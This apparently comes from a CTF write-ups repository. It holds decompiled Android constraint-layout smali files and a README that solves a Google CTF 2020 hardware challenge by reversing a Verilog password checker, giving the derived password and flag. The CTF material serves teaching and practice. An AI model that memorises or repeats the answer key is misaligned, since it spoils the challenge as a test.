58 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
59 |
60 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->RIGHT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
61 |
62 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
63 |
64 | move-result v1
65 |
66 | const/4 v2, 0x2
67 |
68 | aput v2, v0, v1
69 | :try_end_1
70 | .catch Ljava/lang/NoSuchFieldError; {:try_start_1 .. :try_end_1} :catch_1
71 |
72 | goto :goto_1
73 |
74 | :catch_1
75 | move-exception v0
76 |
77 | :goto_1
78 | :try_start_2
79 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
80 |
81 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->TOP:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
82 |
83 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
84 |
85 | move-result v1
86 |
87 | const/4 v2, 0x3
88 |
89 | aput v2, v0, v1
90 | :try_end_2
91 | .catch Ljava/lang/NoSuchFieldError; {:try_start_2 .. :try_end_2} :catch_2
92 |
93 | goto :goto_2
94 |
95 | :catch_2
96 | move-exception v0
97 |
98 | :goto_2
99 | :try_start_3
100 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
101 |
102 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->BOTTOM:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
103 |
104 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
105 |
106 | move-result v1
107 |
108 | const/4 v2, 0x4
109 |
110 | aput v2, v0, v1
111 | :try_end_3
112 | .catch Ljava/lang/NoSuchFieldError; {:try_start_3 .. :try_end_3} :catch_3
113 |
114 | goto :goto_3
115 |
116 | :catch_3
117 | move-exception v0
118 |
119 | :goto_3
120 | :try_start_4
121 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
122 |
123 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->BASELINE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
124 |
125 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
126 |
127 | move-result v1
128 |
129 | const/4 v2, 0x5
130 |
131 | aput v2, v0, v1
132 | :try_end_4
133 | .catch Ljava/lang/NoSuchFieldError; {:try_start_4 .. :try_end_4} :catch_4
134 |
135 | goto :goto_4
136 |
137 | :catch_4
138 | move-exception v0
139 |
140 | :goto_4
141 | :try_start_5
142 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
143 |
144 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
145 |
146 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
147 |
148 | move-result v1
149 |
150 | const/4 v2, 0x6
151 |
152 | aput v2, v0, v1
153 | :try_end_5
154 | .catch Ljava/lang/NoSuchFieldError; {:try_start_5 .. :try_end_5} :catch_5
155 |
156 | goto :goto_5
157 |
158 | :catch_5
159 | move-exception v0
160 |
161 | :goto_5
162 | :try_start_6
163 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
164 |
165 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER_X:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
166 |
167 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
168 |
169 | move-result v1
170 |
171 | const/4 v2, 0x7
172 |
173 | aput v2, v0, v1
174 | :try_end_6
175 | .catch Ljava/lang/NoSuchFieldError; {:try_start_6 .. :try_end_6} :catch_6
176 |
177 | goto :goto_6
178 |
179 | :catch_6
180 | move-exception v0
181 |
182 | :goto_6
183 | :try_start_7
184 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
185 |
186 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER_Y:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
187 |
188 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
189 |
190 | move-result v1
191 |
192 | const/16 v2, 0x8
193 |
194 | aput v2, v0, v1
195 | :try_end_7
196 | .catch Ljava/lang/NoSuchFieldError; {:try_start_7 .. :try_end_7} :catch_7
197 |
198 | goto :goto_7
199 |
200 | :catch_7
201 | move-exception v0
202 |
203 | :goto_7
204 | :try_start_8
205 | sget-object v0, Landroid/support/constraint/solver/widgets/Guideline$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
206 |
207 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->NONE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
208 |
209 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
210 |
211 | move-result v1
212 |
213 | const/16 v2, 0x9
214 |
215 | aput v2, v0, v1
216 | :try_end_8
217 | .catch Ljava/lang/NoSuchFieldError; {:try_start_8 .. :try_end_8} :catch_8
218 |
219 | goto :goto_8
220 |
221 | :catch_8
222 | move-exception v0
223 |
224 | :goto_8
225 | return-void
226 | .end method
227 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/widgets/ConstraintAnchor$1.smali:
--------------------------------------------------------------------------------
1 | .class synthetic Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;
2 | .super Ljava/lang/Object;
3 | .source "ConstraintAnchor.java"
4 |
5 |
6 | # annotations
7 | .annotation system Ldalvik/annotation/EnclosingClass;
8 | value = Landroid/support/constraint/solver/widgets/ConstraintAnchor;
9 | .end annotation
10 |
11 | .annotation system Ldalvik/annotation/InnerClass;
12 | accessFlags = 0x1008
13 | name = null
14 | .end annotation
15 |
16 |
17 | # static fields
18 | .field static final synthetic $SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
19 |
20 |
21 | # direct methods
22 | .method static constructor ()V
23 | .locals 3
24 |
25 | .line 279
26 | invoke-static {}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->values()[Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
27 |
28 | move-result-object v0
29 |
30 | array-length v0, v0
31 |
32 | new-array v0, v0, [I
33 |
34 | sput-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
35 |
36 | :try_start_0
37 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
38 |
39 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
40 |
41 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
42 |
43 | move-result v1
44 |
45 | const/4 v2, 0x1
46 |
47 | aput v2, v0, v1
48 | :try_end_0
49 | .catch Ljava/lang/NoSuchFieldError; {:try_start_0 .. :try_end_0} :catch_0
50 |
51 | goto :goto_0
52 |
53 | :catch_0
54 | move-exception v0
55 |
56 | :goto_0
57 | :try_start_1
58 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
59 |
60 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->LEFT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
61 |
62 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
63 |
64 | move-result v1
65 |
66 | const/4 v2, 0x2
67 |
68 | aput v2, v0, v1
69 | :try_end_1
70 | .catch Ljava/lang/NoSuchFieldError; {:try_start_1 .. :try_end_1} :catch_1
71 |
72 | goto :goto_1
73 |
74 | :catch_1
75 | move-exception v0
76 |
77 | :goto_1
78 | :try_start_2
79 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
80 |
81 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->RIGHT:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
82 |
83 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
84 |
85 | move-result v1
86 |
87 | const/4 v2, 0x3
88 |
89 | aput v2, v0, v1
90 | :try_end_2
91 | .catch Ljava/lang/NoSuchFieldError; {:try_start_2 .. :try_end_2} :catch_2
92 |
93 | goto :goto_2
94 |
95 | :catch_2
96 | move-exception v0
97 |
98 | :goto_2
99 | :try_start_3
100 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
101 |
102 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->TOP:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
103 |
104 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
105 |
106 | move-result v1
107 |
108 | const/4 v2, 0x4
109 |
110 | aput v2, v0, v1
111 | :try_end_3
112 | .catch Ljava/lang/NoSuchFieldError; {:try_start_3 .. :try_end_3} :catch_3
113 |
114 | goto :goto_3
115 |
116 | :catch_3
117 | move-exception v0
118 |
119 | :goto_3
120 | :try_start_4
121 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
122 |
123 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->BOTTOM:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
124 |
125 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
126 |
127 | move-result v1
128 |
129 | const/4 v2, 0x5
130 |
131 | aput v2, v0, v1
132 | :try_end_4
133 | .catch Ljava/lang/NoSuchFieldError; {:try_start_4 .. :try_end_4} :catch_4
134 |
135 | goto :goto_4
136 |
137 | :catch_4
138 | move-exception v0
139 |
140 | :goto_4
141 | :try_start_5
142 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
143 |
144 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->BASELINE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
145 |
146 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
147 |
148 | move-result v1
149 |
150 | const/4 v2, 0x6
151 |
152 | aput v2, v0, v1
153 | :try_end_5
154 | .catch Ljava/lang/NoSuchFieldError; {:try_start_5 .. :try_end_5} :catch_5
155 |
156 | goto :goto_5
157 |
158 | :catch_5
159 | move-exception v0
160 |
161 | :goto_5
162 | :try_start_6
163 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
164 |
165 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER_X:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
166 |
167 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
168 |
169 | move-result v1
170 |
171 | const/4 v2, 0x7
172 |
173 | aput v2, v0, v1
174 | :try_end_6
175 | .catch Ljava/lang/NoSuchFieldError; {:try_start_6 .. :try_end_6} :catch_6
176 |
177 | goto :goto_6
178 |
179 | :catch_6
180 | move-exception v0
181 |
182 | :goto_6
183 | :try_start_7
184 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
185 |
186 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->CENTER_Y:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
187 |
188 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
189 |
190 | move-result v1
191 |
192 | const/16 v2, 0x8
193 |
194 | aput v2, v0, v1
195 | :try_end_7
196 | .catch Ljava/lang/NoSuchFieldError; {:try_start_7 .. :try_end_7} :catch_7
197 |
198 | goto :goto_7
199 |
200 | :catch_7
201 | move-exception v0
202 |
203 | :goto_7
204 | :try_start_8
205 | sget-object v0, Landroid/support/constraint/solver/widgets/ConstraintAnchor$1;->$SwitchMap$android$support$constraint$solver$widgets$ConstraintAnchor$Type:[I
206 |
207 | sget-object v1, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->NONE:Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;
208 |
209 | invoke-virtual {v1}, Landroid/support/constraint/solver/widgets/ConstraintAnchor$Type;->ordinal()I
210 |
211 | move-result v1
212 |
213 | const/16 v2, 0x9
214 |
215 | aput v2, v0, v1
216 | :try_end_8
217 | .catch Ljava/lang/NoSuchFieldError; {:try_start_8 .. :try_end_8} :catch_8
218 |
219 | goto :goto_8
220 |
221 | :catch_8
222 | move-exception v0
223 |
224 | :goto_8
225 | return-void
226 | .end method
227 |
--------------------------------------------------------------------------------
/reversing/android/reverse/smali/android/support/constraint/solver/Pools$SimplePool.smali:
--------------------------------------------------------------------------------
1 | .class Landroid/support/constraint/solver/Pools$SimplePool;
2 | .super Ljava/lang/Object;
3 | .source "Pools.java"
4 |
5 | # interfaces
6 | .implements Landroid/support/constraint/solver/Pools$Pool;
7 |
8 |
9 | # annotations
10 | .annotation system Ldalvik/annotation/EnclosingClass;
11 | value = Landroid/support/constraint/solver/Pools;
12 | .end annotation
13 |
14 | .annotation system Ldalvik/annotation/InnerClass;
15 | accessFlags = 0x8
16 | name = "SimplePool"
17 | .end annotation
18 |
19 | .annotation system Ldalvik/annotation/Signature;
20 | value = {
21 | "",
24 | "Ljava/lang/Object;",
25 | "Landroid/support/constraint/solver/Pools$Pool<",
26 | "TT;>;"
27 | }
28 | .end annotation
29 |
30 |
31 | # instance fields
32 | .field private final mPool:[Ljava/lang/Object;
33 |
34 | .field private mPoolSize:I
35 |
36 |
37 | # direct methods
38 | .method constructor (I)V
39 | .locals 2
40 | .param p1, "maxPoolSize" # I
41 |
42 | .line 96
43 | .local p0, "this":Landroid/support/constraint/solver/Pools$SimplePool;, "Landroid/support/constraint/solver/Pools$SimplePool;"
44 | invoke-direct {p0}, Ljava/lang/Object;->()V
45 |
46 | .line 97
47 | if-gtz p1, :cond_0
48 |
49 | .line 98
50 | new-instance v0, Ljava/lang/IllegalArgumentException;
51 |
52 | const-string v1, "The max pool size must be > 0"
53 |
54 | invoke-direct {v0, v1}, Ljava/lang/IllegalArgumentException;->(Ljava/lang/String;)V
55 |
56 | throw v0
57 |
58 | .line 100
59 | :cond_0
60 | new-array v0, p1, [Ljava/lang/Object;
61 |
62 | iput-object v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
63 |
64 | .line 101
65 | return-void
66 | .end method
67 |
68 | .method private isInPool(Ljava/lang/Object;)Z
69 | .locals 3
70 | .annotation system Ldalvik/annotation/Signature;
71 | value = {
72 | "(TT;)Z"
73 | }
74 | .end annotation
75 |
76 | .line 151
77 | .local p0, "this":Landroid/support/constraint/solver/Pools$SimplePool;, "Landroid/support/constraint/solver/Pools$SimplePool;"
78 | .local p1, "instance":Ljava/lang/Object;, "TT;"
79 | const/4 v0, 0x0
80 |
81 | move v1, v0
82 |
83 | .line 151
84 | .local v1, "i":I
85 | :goto_0
86 | iget v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
87 |
88 | if-ge v1, v2, :cond_1
89 |
90 | .line 152
91 | iget-object v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
92 |
93 | aget-object v2, v2, v1
94 |
95 | if-ne v2, p1, :cond_0
96 |
97 | .line 153
98 | const/4 v0, 0x1
99 |
100 | return v0
101 |
102 | .line 151
103 | :cond_0
104 | add-int/lit8 v1, v1, 0x1
105 |
106 | goto :goto_0
107 |
108 | .line 156
109 | .end local v1 # "i":I
110 | :cond_1
111 | return v0
112 | .end method
113 |
114 |
115 | # virtual methods
116 | .method public acquire()Ljava/lang/Object;
117 | .locals 4
118 | .annotation system Ldalvik/annotation/Signature;
119 | value = {
120 | "()TT;"
121 | }
122 | .end annotation
123 |
124 | .line 106
125 | .local p0, "this":Landroid/support/constraint/solver/Pools$SimplePool;, "Landroid/support/constraint/solver/Pools$SimplePool;"
126 | iget v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
127 |
128 | const/4 v1, 0x0
129 |
130 | if-lez v0, :cond_0
131 |
132 | .line 107
133 | iget v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
134 |
135 | add-int/lit8 v0, v0, -0x1
136 |
137 | .line 108
138 | .local v0, "lastPooledIndex":I
139 | iget-object v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
140 |
141 | aget-object v2, v2, v0
142 |
143 | .line 109
144 | .local v2, "instance":Ljava/lang/Object;, "TT;"
145 | iget-object v3, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
146 |
147 | aput-object v1, v3, v0
148 |
149 | .line 110
150 | iget v1, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
151 |
152 | add-int/lit8 v1, v1, -0x1
153 |
154 | iput v1, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
155 |
156 | .line 111
157 | return-object v2
158 |
159 | .line 113
160 | .end local v0 # "lastPooledIndex":I
161 | .end local v2 # "instance":Ljava/lang/Object;, "TT;"
162 | :cond_0
163 | return-object v1
164 | .end method
165 |
166 | .method public release(Ljava/lang/Object;)Z
167 | .locals 2
168 | .annotation system Ldalvik/annotation/Signature;
169 | value = {
170 | "(TT;)Z"
171 | }
172 | .end annotation
173 |
174 | .line 123
175 | .local p0, "this":Landroid/support/constraint/solver/Pools$SimplePool;, "Landroid/support/constraint/solver/Pools$SimplePool;"
176 | .local p1, "instance":Ljava/lang/Object;, "TT;"
177 | iget v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
178 |
179 | iget-object v1, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
180 |
181 | array-length v1, v1
182 |
183 | if-ge v0, v1, :cond_0
184 |
185 | .line 124
186 | iget-object v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
187 |
188 | iget v1, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
189 |
190 | aput-object p1, v0, v1
191 |
192 | .line 125
193 | iget v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
194 |
195 | const/4 v1, 0x1
196 |
197 | add-int/2addr v0, v1
198 |
199 | iput v0, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
200 |
201 | .line 126
202 | return v1
203 |
204 | .line 128
205 | :cond_0
206 | const/4 v0, 0x0
207 |
208 | return v0
209 | .end method
210 |
211 | .method public releaseAll([Ljava/lang/Object;I)V
212 | .locals 4
213 | .param p2, "count" # I
214 | .annotation system Ldalvik/annotation/Signature;
215 | value = {
216 | "([TT;I)V"
217 | }
218 | .end annotation
219 |
220 | .line 133
221 | .local p0, "this":Landroid/support/constraint/solver/Pools$SimplePool;, "Landroid/support/constraint/solver/Pools$SimplePool;"
222 | .local p1, "variables":[Ljava/lang/Object;, "[TT;"
223 | array-length v0, p1
224 |
225 | if-le p2, v0, :cond_0
226 |
227 | .line 134
228 | array-length p2, p1
229 |
230 | .line 136
231 | :cond_0
232 | const/4 v0, 0x0
233 |
234 | .line 136
235 | .local v0, "i":I
236 | :goto_0
237 | if-ge v0, p2, :cond_2
238 |
239 | .line 137
240 | aget-object v1, p1, v0
241 |
242 | .line 143
243 | .local v1, "instance":Ljava/lang/Object;, "TT;"
244 | iget v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
245 |
246 | iget-object v3, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
247 |
248 | array-length v3, v3
249 |
250 | if-ge v2, v3, :cond_1
251 |
252 | .line 144
253 | iget-object v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPool:[Ljava/lang/Object;
254 |
255 | iget v3, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
256 |
257 | aput-object v1, v2, v3
258 |
259 | .line 145
260 | iget v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
261 |
262 | add-int/lit8 v2, v2, 0x1
263 |
264 | iput v2, p0, Landroid/support/constraint/solver/Pools$SimplePool;->mPoolSize:I
265 |
266 | .line 136
267 | .end local v1 # "instance":Ljava/lang/Object;, "TT;"
268 | :cond_1
269 | add-int/lit8 v0, v0, 0x1
270 |
271 | goto :goto_0
272 |
273 | .line 148
274 | .end local v0 # "i":I
275 | :cond_2
276 | return-void
277 | .end method
278 |
--------------------------------------------------------------------------------
/hardware/basics/README.md:
--------------------------------------------------------------------------------
1 | # BASICS
2 |
3 | ## Prompt
4 |
5 | With all those CPU bugs I don't trust software anymore, so I came up with my custom TPM (trademark will be filed soon!). You can't break this, so don't even try.
6 |
7 | [Attachment](https://storage.googleapis.com/gctf-2020-attachments-project/3da8bc17f534eec284ee0f7f0cb473218365fc189dec41931240c2a7dcd0fcea4968cd56561525e184a0043efaff7a5029bb581afbc6ce89491b8384db6d8b1a)
8 | `basics.2020.ctfcompetition.com 1337`
9 |
10 | ## Files
11 |
12 | * [provided.zip](provided.zip) - Challenge attachment
13 | - [main.cpp](main.cpp) - Software component of password checker
14 | - [check.sv](check.sv) - Verilog password checker called by main.cpp
15 | * [helper.v](helper.v) - Modified Verilog for use with online compiler
16 | * [pass.txt](pass.txt) - Derived password
17 | * [flag.txt](flag.txt) - Flag retrieved from server after providing password
18 |
19 | ## Solution
20 |
21 | ### Walking Through The Code
22 | I started off by downloading and unzipping the provided atachment and connecting to the server from the prompt.
23 |
24 | ```
25 | $ nc basics.2020.ctfcompetition.com 1337
26 | Enter password:
27 | p@$$w0rd
28 | =(
29 | $
30 | ```
31 |
32 | This matches up with what we see in main.cpp. Characters are read in, and if the hardware component decides the password is incorrect we get a sad face. The only interesting part in main.cpp is that the top bit of each character gets cut off:
33 |
34 | ```
35 | check->data = c & 0x7f;
36 | ```
37 |
38 | And then at the end, it checks the value of `check->open_safe`. If this value is true, the flag will be revealed. It looks like the meat of this problem is going to be in `check.sv`.
39 |
40 | I don't have much verilog experience, so I find it helpful to list out each variable and the bit width of each:
41 |
42 | * `[6:0] data` - 7-bit input, this is where each character from our password goes, with the top bit trimmed off to fit
43 | * `open_safe` - Boolean that will be true if password at the end is correct
44 | * `[6:0] memory [7:0]` - This is an 8-element array, where each element has 7 bits
45 | * `[2:0] idx` - 3-bit wide index variable
46 | * `[55:0] magic` - 56-bit wide value, notice that 7 * 8 == 56
47 | * `[55:0] kittens` - Another 56-bit wide value
48 |
49 | Now we can work our way through the file and see how the values are assigned. Let's start by finding out where our characters end up and follow it through the hardware.
50 |
51 | ```
52 | always_ff @(posedge clk) begin
53 | memory[idx] <= data;
54 | idx <= idx + 5;
55 | end
56 | ```
57 |
58 | **NOTE:** `<=` in verilog is a nonblocking assignment, not a 'less than or equal' operator
59 |
60 | `memory` values are being filled using `idx`. The `idx` increments by 5 each time starting with 0. We only have 8 memory slots, so at first I thought there would be an error after the third assignment. Something like this:
61 |
62 | ```
63 | memory[0] = char_1
64 | memory[5] = char_2
65 | memory[10] = char_3
66 | ERROR: Out of bounds
67 | ```
68 |
69 | But it turns out that accessing arrays uses modular arithmetic, so instead of accessing `memory[10]`, it accesses `memory[10 % 8]`. This means that values will be assigned as follows:
70 |
71 | ```
72 | memory[0] = char_1
73 | memory[5] = char_2
74 | memory[10 % 8] = memory[2] = char_3
75 | memory[15 % 8] = memory[7] = char_4
76 | memory[20 % 8] = memory[4] = char_5
77 | memory[25 % 8] = memory[1] = char_6
78 | memory[30 % 8] = memory[6] = char_7
79 | memory[35 % 8] = memory[3] = char_8
80 | ```
81 |
82 | All of the `memory` registers are filled! Just a little out of order... Now we need to find out where it goes!
83 |
84 | ```
85 | wire [55:0] magic = {
86 | {memory[0], memory[5]},
87 | {memory[6], memory[2]},
88 | {memory[4], memory[3]},
89 | {memory[7], memory[1]}
90 | };
91 | ```
92 |
93 | It looks like the `memory` registers are concatenated, *sigh* even more out of order, and placed into the `magic` wires. So now `magic` should look like this:
94 |
95 | ```
96 | magic = memory[0].memory[5].memory[6].memory[2].memory[4].memory[3].memory[7].memory[1]
97 | ```
98 | And then `magic` gets shuffled when being assigned to the `kittens` variable!!
99 |
100 | ```
101 | wire [55:0] kittens = { magic[9:0], magic[41:22], magic[21:10], magic[55:42] };
102 | ```
103 |
104 | In my first attempt at deciphering all of this, I misintepreted how slices of a variable are accessed. I thought that `magic[0]` would be the 'leftmost' or most significant bit. It's actually the opposite. If I have 8 bits, they are indexed as follows:
105 |
106 | ```
107 | [7:0] test: 10101101
108 | Index: 76543210
109 | ```
110 | So, the 'rightmost' 10 bits of `magic` have been moved to the 'leftmost' bits of `kittens` and so on.
111 |
112 | Finally, the value of kittens is compared with a 56-bit decimal value and the result of that comparison determines the value of `open_safe`:
113 |
114 | ```
115 | assign open_safe = kittens == 56'd3008192072309708;
116 | ```
117 |
118 | To solve this challenge, we need to figure out what 8 characters result in a final bit stream that equals `3008192072309708`. Let's start reversing!!
119 |
120 | ### Now Do It Backwards
121 |
122 | To make it more manageable, lets convert the decimal value into hex and binary:
123 |
124 | ````
125 | Decimal: 3008192072309708
126 | Hex: 0A AF EF 4B E2 DB CC
127 | Binary: 00001010 10101111 11101111 01001011 11100010 11011011 11001100
128 | ````
129 |
130 | This should be the value of kittens, so let's do a reverse shuffle to derive the value of `magic`. The 'leftmost' 10 bits of kittens are the 'rightmost' bits of `magic`, the next bits of `magic` are in the `[21:10]` slice, and we can keep building up the string using that logic:
131 |
132 | ```
133 | |[9:0] |[41:22] |[21:10] |[55:42]
134 | kittens: 00001010 10101111 11101111 01001011 11100010 11011011 11001100
135 | magic: 00 00101010 [9:0]
136 | 111110 00101100 00101010 [21:0]
137 | 10 11111110 11110100 10111110 00101100 00101010 [41:0]
138 | 01101111 00110010 11111110 11110100 10111110 00101100 00101010 [55:0]
139 | ````
140 |
141 | We have `magic`! Time to get `memory`. Reminder, `memory` is made up of 8, 7-bit values. The assignment to `magic` looks like this:
142 |
143 | ```
144 | magic = memory[0].memory[5].memory[6].memory[2].memory[4].memory[3].memory[7].memory[1]
145 | ```
146 |
147 | The 'leftmost' 7 bits of magic form `memory[0]`, the next 7 form `memory[5]`, and so on. We can divide `magic` into 7 bit chunks to figure out how they fit into `memory`:
148 |
149 | ```
150 | magic: 0110111 1001100 1011111 1101111 0100101 1111000 1011000 0101010
151 | memory: 0 5 6 2 4 3 7 1
152 | ```
153 |
154 | We have `memory`!!! Now we know enough information to figure out what characters form the password! Just remember that the top bit was shaved off, so it could be a 1 or 0 at the top. But we only need to be concerned about that if our result without that top bit is something we can't print or a newline or something like that:
155 |
156 | ```
157 | memory[0] = 0110111 = '7'
158 | memory[1] = 0101010 = '*'
159 | memory[2] = 1101111 = 'o'
160 | memory[3] = 1111000 = 'x'
161 | memory[4] = 0100101 = '%'
162 | memory[5] = 1001100 = 'L'
163 | memory[6] = 1011111 = '_'
164 | memory[7] = 1011000 = 'X'
165 | ```
166 |
167 | Exciting!! But, we aren't quite ready for submission yet. We still need to reararange them based on the weird indexing we worked out in the beginning. Memory is loaded in the following order:
168 |
169 | ```
170 | memory[0] = char_1 = '7'
171 | memory[5] = char_2 = 'L'
172 | memory[2] = char_3 = 'o'
173 | memory[7] = char_4 = 'X'
174 | memory[4] = char_5 = '%'
175 | memory[1] = char_6 = '*'
176 | memory[6] = char_7 = '_'
177 | memory[3] = char_8 = 'x'
178 | ```
179 |
180 | Now we're ready! The password is **`7LoX%*_x`** and can be typed into the server for the flag:
181 |
182 | ```
183 | $ nc basics.2020.ctfcompetition.com 1337
184 | Enter password:
185 | 7LoX%*_x
186 | CTF{W4sTh4tASan1tyCh3ck?}
187 | ```
188 |
189 |
190 |
191 | ## Resources
192 |
193 | * Online Verilog Compiler: https://www.tutorialspoint.com/compile_verilog_online.php
194 |
